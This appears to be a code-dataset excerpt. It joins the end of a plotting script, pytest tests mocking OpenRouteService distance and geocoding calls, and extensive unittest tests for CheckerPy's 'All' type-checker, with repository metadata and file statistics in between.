i, text in enumerate(L.get_texts()): text.set_color(cols[i]) ax.set_xticks([0, 1, 2, 3, 4]) ax.set_xticklabels(['dict', 'tuple', 'SQL', 'Dask', 'Tuplex'], rotation=rot) ax.grid(axis='x') sns.despine() ax.set_ylim(0, lim_high) ax.set_xlim(-.5, 4.5) ax.set_yticks([20, 40, 60]) ax.set_xlabel('(b) 16x parallelism', fontsize=27, labelpad=10) # ax.set_ylabel('runtime in s', labelpad=-5) plt.savefig(os.path.join(output_folder, 'figure7_zillow_Z1_10G_pypy.pdf'), transparent=True, bbox_inches = 'tight', pad_inches = 0)

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7713334451d3b2aa2bf2e20fc574a1c5b413da32

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py

Python

openrouteservice_handler/test_openrouteservice_handler.py

ThorsHamster/find_new_hometown

862231bb1f3a0a1505d02b452adca2b45a6fc850

[ "MIT" ]

2

2020-01-07T07:28:17.000Z

2020-01-07T10:21:41.000Z

openrouteservice_handler/test_openrouteservice_handler.py

ThorsHamster/find_new_hometown

862231bb1f3a0a1505d02b452adca2b45a6fc850

[ "MIT" ]

30

2021-03-19T15:46:29.000Z

2021-12-21T12:22:50.000Z

openrouteservice_handler/test_openrouteservice_handler.py

ThorsHamster/find_new_hometown

862231bb1f3a0a1505d02b452adca2b45a6fc850

[ "MIT" ]

null

import pytest from openrouteservice_handler import OpenRouteServiceHandler class MockCoordinate: def __init__(self): self.longitude = 0 self.latitude = 0 @pytest.fixture def unit_under_test(mocker): return OpenRouteServiceHandler('api_key') def test_get_distance_duration_between_cities_standard_layout(unit_under_test, mocker): mocker.patch('openrouteservice_handler.openrouteservice_handler.openrouteservice.Client.distance_matrix', return_value={'distances': [[0, 3], [0, 0]], 'durations': [[0, 7], [0, 0]]}) distance, duration = unit_under_test.get_distance_duration_between_cities(MockCoordinate(), MockCoordinate()) assert distance == 3 assert duration == 7 def test_get_distance_duration_between_cities_switched_layout(unit_under_test, mocker): mocker.patch('openrouteservice_handler.openrouteservice_handler.openrouteservice.Client.distance_matrix', return_value={'distances': [[0, 0], [3, 0]], 'durations': [[0, 0], [7, 0]]}) distance, duration = unit_under_test.get_distance_duration_between_cities(MockCoordinate(), MockCoordinate()) assert distance == 3 assert duration == 7 def test_get_distance_duration_between_cities_no_return_value(unit_under_test, mocker): mocker.patch('openrouteservice_handler.openrouteservice_handler.openrouteservice.Client.distance_matrix', return_value=None) with pytest.raises(ValueError, match='Could not collect data from OpenRouteService. Maybe wrong api key?'): unit_under_test.get_distance_duration_between_cities(MockCoordinate(), MockCoordinate()) def test_get_coordinate_of_city_city_found(unit_under_test, mocker): mocker.patch('openrouteservice_handler.openrouteservice_handler.openrouteservice.Client.pelias_search', return_value={'features': [{'geometry': {'coordinates': [3, 7]}}]}) coordinates = unit_under_test.get_coordinate_of_city('test_city') assert coordinates.longitude == 3 assert coordinates.latitude == 7 def test_get_coordinate_of_city_city_not_found(unit_under_test, mocker): mocker.patch('openrouteservice_handler.openrouteservice_handler.openrouteservice.Client.pelias_search', return_value=None) with pytest.raises(ValueError, match='Could not collect data from OpenRouteService. Maybe wrong api key?'): unit_under_test.get_coordinate_of_city('test_city')

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0.065031

0.800342

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0.707359

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0.192056

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0.435897

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34,094

py

Python

checkerpy/tests/types/all/test_all.py

yedivanseven/CheckerPy

04612086d25fecdd0b20ca0a050db8620c437b0e

[ "MIT" ]

1

2018-01-12T19:20:51.000Z

checkerpy/tests/types/all/test_all.py

yedivanseven/CheckerPy

04612086d25fecdd0b20ca0a050db8620c437b0e

[ "MIT" ]

null

checkerpy/tests/types/all/test_all.py

yedivanseven/CheckerPy

04612086d25fecdd0b20ca0a050db8620c437b0e

[ "MIT" ]

null

import logging import unittest as ut from collections import defaultdict, deque, OrderedDict from ....functional import CompositionOf from ....types.all import All from ....types.one import _REDUCED_ITER from ....exceptions import WrongTypeError, IterError, CallableError class TestAllInstatiation(ut.TestCase): def test_error_on_wrong_identifier(self): err_msg = 'Type-checker name @foo is not a valid identifier!' with self.assertRaises(ValueError) as err: _ = All(int, identifier='@foo') self.assertEqual(str(err.exception), err_msg) def test_has_default_name(self): AllInt = All(int) self.assertEqual(AllInt.__name__, 'All') def test_identifier_sets_name_attribute(self): AllInt = All(int, identifier='AllInt') self.assertEqual(AllInt.__name__, 'AllInt') def test_has_attribute_types_with_one_valid_type(self): AllInt = All(int) self.assertTrue(hasattr(AllInt, 'types')) def test_cannot_set_attribute_types(self): AllInt = All(int) with self.assertRaises(AttributeError): AllInt.types = 'foo' def test_attribute_types_has_correct_value_with_one_valid_type(self): AllInt = All(int) self.assertTupleEqual(AllInt.types, (int, )) def test_works_with_two_valid_types(self): _ = All(int, float) def test_has_attribute_types_with_two_valid_types(self): AllNum = All(int, float) self.assertTrue(hasattr(AllNum, 'types')) def test_attribute_types_has_correct_value_with_two_valid_types(self): AllNum = All(int, float) self.assertTupleEqual(AllNum.types, (int, float)) class TestAllWorks(ut.TestCase): def test_works_with_str(self): AllStr = All(str) s = AllStr('foo') self.assertIsInstance(s, str) self.assertEqual(s, 'foo') def test_works_with_tuple(self): AllStr = All(str) t = AllStr(('f', 'o', 'o')) self.assertTupleEqual(t, ('f', 'o', 'o')) def test_works_with_list(self): AllStr =All(str) l = AllStr(['f', 'o', 'o']) self.assertListEqual(l, ['f', 'o', 'o']) def test_works_with_deque(self): AllStr =All(str) dq = AllStr(deque(['f', 'o', 'o'])) self.assertIsInstance(dq, deque) self.assertEqual(dq, deque(['f', 'o', 'o'])) def test_works_with_set(self): AllStr = All(str) s = AllStr({'f', 'o', 'o'}) self.assertSetEqual(s, {'f', 'o'}) def test_works_with_frozenset(self): AllStr = All(str) s = AllStr(frozenset({'f', 'o', 'o'})) self.assertSetEqual(s, {'f', 'o'}) def test_works_with_dict(self): AllStr = All(str) d = AllStr({'f': 1, 'o': 2}) self.assertDictEqual(d, {'f': 1, 'o': 2}) def test_works_ordered_dict(self): AllStr = All(str) od = AllStr(OrderedDict({'f': 1, 'o': 2})) self.assertIsInstance(od, OrderedDict) self.assertDictEqual(od, {'f': 1, 'o': 2}) def test_works_with_defaultdict(self): AllStr = All(str) dd = AllStr(defaultdict(int, {'f': 1, 'o': 2})) self.assertDictEqual(dd, {'f': 1, 'o': 2}) def test_works_with_dict_keys(self): AllStr = All(str) d = AllStr({'f': 1, 'o': 2}.keys()) self.assertIsInstance(d, type({}.keys())) self.assertSetEqual(set(d), set({'f': 1, 'o': 2}.keys())) def test_works_with_ordered_dict_keys(self): AllStr = All(str) od = OrderedDict({'f': 1, 'o': 2}) output = AllStr(od.keys()) self.assertIsInstance(output, type(od.keys())) self.assertSetEqual(set(od.keys()), set(output)) def test_works_with_defaultdict_keys(self): AllStr = All(str) dd = defaultdict(int, {'f': 1, 'o': 2}) output = AllStr(dd.keys()) self.assertIsInstance(output, type(dd.keys())) self.assertSetEqual(set(dd.keys()), set(output)) def test_works_with_dict_values(self): AllInt = All(int) d = AllInt({'f': 1, 'o': 2}.values()) self.assertIsInstance(d, type({}.values())) self.assertSetEqual(set(d), set({'f': 1, 'o': 2}.values())) def test_works_with_ordered_dict_values(self): AllInt = All(int) od = OrderedDict({'f': 1, 'o': 2}) output = AllInt(od.values()) self.assertIsInstance(output, type(od.values())) self.assertSetEqual(set(od.values()), set(output)) def test_works_with_defaultdict_values(self): AllInt = All(int) dd = defaultdict(int, {'f': 1, 'o': 2}) output = AllInt(dd.values()) self.assertIsInstance(output, type(dd.values())) self.assertSetEqual(set(dd.values()), set(output)) def test_returns_correct_type_with_two_types(self): AllNum = All(int, float) i = AllNum((1, )) self.assertIsInstance(i, tuple) f = AllNum([1.0]) self.assertIsInstance(f, list) def test_returns_correct_value_with_two_types(self): AllNum = All(int, float) self.assertTupleEqual(AllNum((2, )), (2, )) self.assertListEqual(AllNum([2.0]), [2.0]) class TestAllErrorUnnamedOneType(ut.TestCase): def test_error_on_unnamed_variable_not_iterable(self): AllInt = All(int) log_msg = ['ERROR:root:Variable 3 with type int does not seem' ' to be an iterable with elements to inspect!'] err_msg = ('Variable 3 with type int does not seem to' ' be an iterable with elements to inspect!') with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(IterError) as err: _ = AllInt(3) self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_named_variable_not_iterable(self): AllInt = All(int) log_msg = ['ERROR:root:Variable test with type int does not ' 'seem to be an iterable with elements to inspect!'] err_msg = ('Variable test with type int does not seem ' 'to be an iterable with elements to inspect!') with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(IterError) as err: _ = AllInt(3, 'test') self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_unnamed_tuple_with_one_type(self): AllInt = All(int) log_msg = ['ERROR:root:Type of element 1 in tuple (4,' ' 5.0) must be int, not float like 5.0!'] err_msg = ('Type of element 1 in tuple (4, 5.0)' ' must be int, not float like 5.0!') with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllInt((4, 5.0)) self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_unnamed_list_with_one_type(self): AllInt = All(int) log_msg = ['ERROR:root:Type of element 1 in list [4,' ' 5.0] must be int, not float like 5.0!'] err_msg = ('Type of element 1 in list [4, 5.0]' ' must be int, not float like 5.0!') with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllInt([4, 5.0]) self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_unnamed_deque_with_one_type(self): AllInt = All(int) log_msg = ['ERROR:root:Type of element 1 in deque([4,' ' 5.0]) must be int, not float like 5.0!'] err_msg = ('Type of element 1 in deque([4, 5.0])' ' must be int, not float like 5.0!') with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllInt(deque([4, 5.0])) self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_unnamed_dict_with_one_type(self): AllInt = All(int) inputs = {4: 'four', 5.0: 'five'} log_msg = ["ERROR:root:Type of key in dict {4: 'four', " "5.0: 'five'} must be int, not float like 5.0!"] err_msg = ("Type of key in dict {4: 'four', 5.0: " "'five'} must be int, not float like 5.0!") with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllInt(inputs) self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_unnamed_ordered_dict_with_one_type(self): AllInt = All(int) inputs = OrderedDict({4: 'four', 5.0: 'five'}) log_msg = ["ERROR:root:Type of key in OrderedDict([(4, 'four')," " (5.0, 'five')]) must be int, not float like 5.0!"] err_msg = ("Type of key in OrderedDict([(4, 'four'), (5.0," " 'five')]) must be int, not float like 5.0!") with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllInt(inputs) self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_unnamed_defaultdict_with_one_type(self): AllInt = All(int) inputs = defaultdict(str, {4: 'four', 5.0: 'five'}) log_msg = ["ERROR:root:Type of key in defaultdict(<class 'str'>, {4:" " 'four', 5.0: 'five'}) must be int, not float like 5.0!"] err_msg = ("Type of key in defaultdict(<class 'str'>, {4: 'four'," " 5.0: 'five'}) must be int, not float like 5.0!") with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllInt(inputs) self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_unnamed_dict_key_with_one_type(self): AllInt = All(int) log_msg = ['ERROR:root:Type of key in dict_keys([4,' ' 5.0]) must be int, not float like 5.0!'] err_msg = ('Type of key in dict_keys([4, 5.0])' ' must be int, not float like 5.0!') with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllInt({4: 'four', 5.0: 'five'}.keys()) self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_unnamed_ordered_dict_key_with_one_type(self): AllInt = All(int) inputs = OrderedDict({4: 'four', 5.0: 'five'}) log_msg = ['ERROR:root:Type of key in odict_keys([4,' ' 5.0]) must be int, not float like 5.0!'] err_msg = ('Type of key in odict_keys([4, 5.0])' ' must be int, not float like 5.0!') with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllInt(inputs.keys()) self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_unnamed_defaultdict_key_with_one_type(self): AllInt = All(int) inputs = defaultdict(str, {4: 'four', 5.0: 'five'}) log_msg = ['ERROR:root:Type of key in dict_keys([4,' ' 5.0]) must be int, not float like 5.0!'] err_msg = ('Type of key in dict_keys([4, 5.0])' ' must be int, not float like 5.0!') with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllInt(inputs.keys()) self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_unnamed_dict_values_with_one_type(self): AllStr = All(str) log_msg = ["ERROR:root:Type of value in dict_values(['four', 5])" " must be str, not int like 5!"] err_msg = ("Type of value in dict_values(['four', 5])" " must be str, not int like 5!") with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllStr({4: 'four', 5.0: 5}.values()) self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_unnamed_ordered_dict_values_with_one_type(self): AllStr = All(str) inputs = OrderedDict({4: 'four', 5.0: 5}) log_msg = ["ERROR:root:Type of value in odict_values(['four', 5])" " must be str, not int like 5!"] err_msg = ("Type of value in odict_values(['four', 5])" " must be str, not int like 5!") with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllStr(inputs.values()) self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_unnamed_defaultdict_values_with_one_type(self): AllStr = All(str) inputs = defaultdict(str, {4: 'four', 5.0: 5}) log_msg = ["ERROR:root:Type of value in dict_values(['four', 5])" " must be str, not int like 5!"] err_msg = ("Type of value in dict_values(['four', 5])" " must be str, not int like 5!") with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllStr(inputs.values()) self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_unnamed_set_with_one_type(self): AllInt = All(int) log_msg = ["ERROR:root:Type of element in set {4, " "5.0} must be int, not float like 5.0!"] err_msg = ("Type of element in set {4, 5.0} must" " be int, not float like 5.0!") with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllInt({4, 5.0}) self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_unnamed_frozenset_with_one_type(self): AllInt = All(int) log_msg = ["ERROR:root:Type of element in frozenset({4, " "5.0}) must be int, not float like 5.0!"] err_msg = ("Type of element in frozenset({4, 5.0}) must" " be int, not float like 5.0!") with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllInt(frozenset({4, 5.0})) self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) class TestAllErrorNamedOneType(ut.TestCase): def test_error_on_wrong_named_tuple_with_one_type(self): AllInt = All(int) log_msg = ['ERROR:root:Type of element 1 in tuple ' 'test must be int, not float like 5.0!'] err_msg = ('Type of element 1 in tuple test ' 'must be int, not float like 5.0!') with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllInt((4, 5.0), 'test') self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_named_list_with_one_type(self): AllInt = All(int) log_msg = ['ERROR:root:Type of element 1 in list ' 'test must be int, not float like 5.0!'] err_msg = ('Type of element 1 in list test ' 'must be int, not float like 5.0!') with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllInt([4, 5.0], 'test') self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_named_deque_with_one_type(self): AllInt = All(int) log_msg = ['ERROR:root:Type of element 1 in deque ' 'test must be int, not float like 5.0!'] err_msg = ('Type of element 1 in deque test ' 'must be int, not float like 5.0!') with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllInt(deque([4, 5.0]), 'test') self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_named_dict_with_one_type(self): AllInt = All(int) inputs = {4: 'four', 5.0: 'five'} log_msg = ['ERROR:root:Type of key in dict test' ' must be int, not float like 5.0!'] err_msg = ('Type of key in dict test must' ' be int, not float like 5.0!') with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllInt(inputs, 'test') self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_named_ordered_dict_with_one_type(self): AllInt = All(int) inputs = OrderedDict({4: 'four', 5.0: 'five'}) log_msg = ['ERROR:root:Type of key in OrderedDict test' ' must be int, not float like 5.0!'] err_msg = ('Type of key in OrderedDict test must' ' be int, not float like 5.0!') with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllInt(inputs, 'test') self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_named_defaultdict_with_one_type(self): AllInt = All(int) inputs = defaultdict(str, {4: 'four', 5.0: 'five'}) log_msg = ['ERROR:root:Type of key in defaultdict test' ' must be int, not float like 5.0!'] err_msg = ('Type of key in defaultdict test must' ' be int, not float like 5.0!') with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllInt(inputs, 'test') self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_named_dict_keys_with_one_type(self): AllInt = All(int) inputs = {4: 'four', 5.0: 'five'} log_msg = ['ERROR:root:Type of key in dict test' ' must be int, not float like 5.0!'] err_msg = ('Type of key in dict test must' ' be int, not float like 5.0!') with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllInt(inputs.keys(), 'test') self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_named_ordered_dict_keys_with_one_type(self): AllInt = All(int) inputs = OrderedDict({4: 'four', 5.0: 'five'}) log_msg = ['ERROR:root:Type of key in dict test' ' must be int, not float like 5.0!'] err_msg = ('Type of key in dict test must' ' be int, not float like 5.0!') with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllInt(inputs.keys(), 'test') self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_named_defaultdict_keys_with_one_type(self): AllInt = All(int) inputs = defaultdict(str, {4: 'four', 5.0: 'five'}) log_msg = ['ERROR:root:Type of key in dict test' ' must be int, not float like 5.0!'] err_msg = ('Type of key in dict test must' ' be int, not float like 5.0!') with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllInt(inputs.keys(), 'test') self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_named_dict_values_with_one_type(self): AllStr = All(str) inputs = {4: 'four', 5.0: 5} log_msg = ['ERROR:root:Type of value in dict ' 'test must be str, not int like 5!'] err_msg = ('Type of value in dict test ' 'must be str, not int like 5!') with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllStr(inputs.values(), 'test') self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_named_ordered_dict_values_with_one_type(self): AllStr = All(str) inputs = OrderedDict({4: 'four', 5.0: 5}) log_msg = ['ERROR:root:Type of value in dict ' 'test must be str, not int like 5!'] err_msg = ('Type of value in dict test ' 'must be str, not int like 5!') with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllStr(inputs.values(), 'test') self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_named_defaultdict_values_with_one_type(self): AllStr = All(str) inputs = defaultdict(str, {4: 'four', 5.0: 5}) log_msg = ['ERROR:root:Type of value in dict ' 'test must be str, not int like 5!'] err_msg = ('Type of value in dict test ' 'must be str, not int like 5!') with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllStr(inputs.values(), 'test') self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_named_set_with_one_type(self): AllInt = All(int) log_msg = ['ERROR:root:Type of element in set test' ' must be int, not float like 5.0!'] err_msg = ('Type of element in set test must' ' be int, not float like 5.0!') with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllInt({4, 5.0}, 'test') self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_named_frozenset_with_one_type(self): AllInt = All(int) log_msg = ['ERROR:root:Type of element in frozenset test' ' must be int, not float like 5.0!'] err_msg = ('Type of element in frozenset test must' ' be int, not float like 5.0!') with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllInt(frozenset({4, 5.0}), 'test') self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) class TestAllErrorTowTypes(ut.TestCase): def test_error_on_wrong_unnamed_variable_with_two_types(self): AllNum = All(int, float) log_msg = ["ERROR:root:Type of element 2 in tuple (4, 5.0, 'bar')" " must be one of ('int', 'float'), not str like bar!"] err_msg = ("Type of element 2 in tuple (4, 5.0, 'bar') must" " be one of ('int', 'float'), not str like bar!") with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllNum((4, 5.0, 'bar')) self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_unnamed_dict_with_two_types(self): AllNum = All(int, float) log_msg = ["ERROR:root:Type of key in dict {4: 'four', 'bar': 3}" " must be one of ('int', 'float'), not str like bar!"] err_msg = ("Type of key in dict {4: 'four', 'bar': 3} must" " be one of ('int', 'float'), not str like bar!") with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllNum({4: 'four', 'bar': 3}) self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_unnamed_dict_key_with_two_types(self): AllNum = All(int, float) log_msg = ["ERROR:root:Type of key in dict_keys([4, 'bar'])" " must be one of ('int', 'float'), not str like bar!"] err_msg = ("Type of key in dict_keys([4, 'bar']) must" " be one of ('int', 'float'), not str like bar!") with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllNum({4: 'four', 'bar': 3}.keys()) self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_unnamed_dict_value_with_two_types(self): AllNum = All(int, float) log_msg = ["ERROR:root:Type of value in dict_values(['four', 3])" " must be one of ('int', 'float'), not str like four!"] err_msg = ("Type of value in dict_values(['four', 3]) must" " be one of ('int', 'float'), not str like four!") with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllNum({4: 'four', 'bar': 3}.values()) self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_unnamed_set_with_two_types(self): AllNum = All(int, float) with self.assertLogs(level=logging.ERROR): with self.assertRaises(WrongTypeError): _ = AllNum({4, 'bar'}) def test_error_on_wrong_unnamed_frozenset_with_two_types(self): AllNum = All(int, float) with self.assertLogs(level=logging.ERROR): with self.assertRaises(WrongTypeError): _ = AllNum(frozenset({4, 'bar'})) def test_error_on_wrong_named_variable_with_two_types(self): AllNum = All(int, float) log_msg = ["ERROR:root:Type of element 2 in tuple test must" " be one of ('int', 'float'), not str like bar!"] err_msg = ("Type of element 2 in tuple test must be one" " of ('int', 'float'), not str like bar!") with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllNum((4, 5.0, 'bar'), 'test') self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_named_dict_with_two_types(self): AllNum = All(int, float) log_msg = ["ERROR:root:Type of key in dict test must be" " one of ('int', 'float'), not str like bar!"] err_msg = ("Type of key in dict test must be one of" " ('int', 'float'), not str like bar!") with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllNum({4: 'four', 5.0: 'five', 'bar': 3}, 'test') self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_named_dict_key_with_two_types(self): AllNum = All(int, float) log_msg = ["ERROR:root:Type of key in dict test must be" " one of ('int', 'float'), not str like bar!"] err_msg = ("Type of key in dict test must be one of" " ('int', 'float'), not str like bar!") with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllNum({4: 'four', 5.0: 'five', 'bar': 3}.keys(), 'test') self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_named_dict_value_with_two_types(self): AllNum = All(int, float) log_msg = ["ERROR:root:Type of value in dict test must be" " one of ('int', 'float'), not str like four!"] err_msg = ("Type of value in dict test must be one of" " ('int', 'float'), not str like four!") with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllNum({4: 'four', 5.0: 'five', 'bar': 3}.values(), 'test') self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_named_set_with_two_types(self): AllNum = All(int, float) log_msg = ["ERROR:root:Type of element in set test must be" " one of ('int', 'float'), not str like bar!"] err_msg = ("Type of element in set test must be one of" " ('int', 'float'), not str like bar!") with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllNum({4, 5.0, 'bar'}, 'test') self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_error_on_wrong_named_frozenset_with_two_types(self): AllNum = All(int, float) log_msg = ["ERROR:root:Type of element in frozenset test must be" " one of ('int', 'float'), not str like bar!"] err_msg = ("Type of element in frozenset test must be one of" " ('int', 'float'), not str like bar!") with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllNum(frozenset({4, 5.0, 'bar'}), 'test') self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) class TestAllMethods(ut.TestCase): def test_has_iterable_type_checker_attributes(self): AllNum = All(int, float) for iterable in _REDUCED_ITER: self.assertTrue(hasattr(AllNum, iterable.__name__)) self.assertTrue(hasattr(AllNum, 'NonEmpty')) def test_iterable_type_checkers_are_type_CompositionOf(self): AllNum = All(int, float) for iterable in _REDUCED_ITER: type_checker = getattr(AllNum, iterable.__name__) self.assertIsInstance(type_checker, CompositionOf) self.assertIsInstance(AllNum.NonEmpty, CompositionOf) def test_has_attribute_NonEmpty(self): AllInt = All(int) self.assertTrue(hasattr(AllInt, 'NonEmpty')) def test_attribute_NonEmpty_is_type_CompositionOf(self): AllInt = All(int) self.assertIsInstance(AllInt.NonEmpty, CompositionOf) def test_has_attribute_JustLen(self): AllInt = All(int) self.assertTrue(hasattr(AllInt, 'JustLen')) def test_attribute_JustLen_is_type_CompositionOf(self): AllInt = All(int) self.assertIsInstance(AllInt.JustLen, CompositionOf) def test_works_through_type_and_non_empty_checkers(self): AllInt = All(int) log_msg = ['ERROR:root:Type of element 1 in tuple ' 'test must be int, not float like 5.0!'] err_msg = ('Type of element 1 in tuple test ' 'must be int, not float like 5.0!') with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllInt.NonEmpty.JustTuple((4, 5.0), 'test') self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_works_through_dict_and_just_length_checkers(self): AllInt = All(int) inputs = {4: 'four', 5.0: 'five'} log_msg = ['ERROR:root:Type of key in dict test' ' must be int, not float like 5.0!'] err_msg = ('Type of key in dict test must' ' be int, not float like 5.0!') with self.assertLogs(level=logging.ERROR) as log: with self.assertRaises(WrongTypeError) as err: _ = AllInt.JustLen.JustDict(inputs, 'test', length=2) self.assertEqual(str(err.exception), err_msg) self.assertEqual(log.output, log_msg) def test_has_attribute_o(self): AllInt = All(int) self.assertTrue(hasattr(AllInt, 'o')) def test_attribute_o_is_callable(self): AllInt = All(int) self.assertTrue(callable(AllInt.o)) def test_o_returns_composition(self): AllInt = All(int) AllNum = All(int, float) composition = AllInt.o(AllNum) self.assertIsInstance(composition, CompositionOf) def test_o_raises_error_on_argument_not_callable(self): AllInt = All(int) err_msg = ('foo must be a callable that accepts (i) a value,' ' (ii) an optional name for that value, and (iii)' ' any number of keyword arguments!') with self.assertRaises(CallableError) as err: _ = AllInt.o('foo') self.assertEqual(str(err.exception), err_msg) if __name__ == '__main__': ut.main()

45.277556

79

0.59993

4,621

34,094

4.254058

0.033759

0.01109

0.021976

0.029301

0.880456

0.857615

0.833299

0.816105

0.793061

0.779428

0

0.015518

0.277996

34,094

752

80

45.337766

0.783068

0

0.589666

0

0.00152

0.205989

0.001232

0

0.337386

1

0.121581

false

0

0.010638

0

0.141337

0

null

0

1

0

null

0

6

91fa15827187db8b09f525073dd6fe44418d18f3

24

py

Python

emmer/__init__.py

blha303/emmer

1435310b2b4e63844700cbe26746d5c7ee0008e0

[ "MIT" ]

10

2015-01-11T20:53:46.000Z

2021-07-13T10:56:44.000Z

emmer/__init__.py

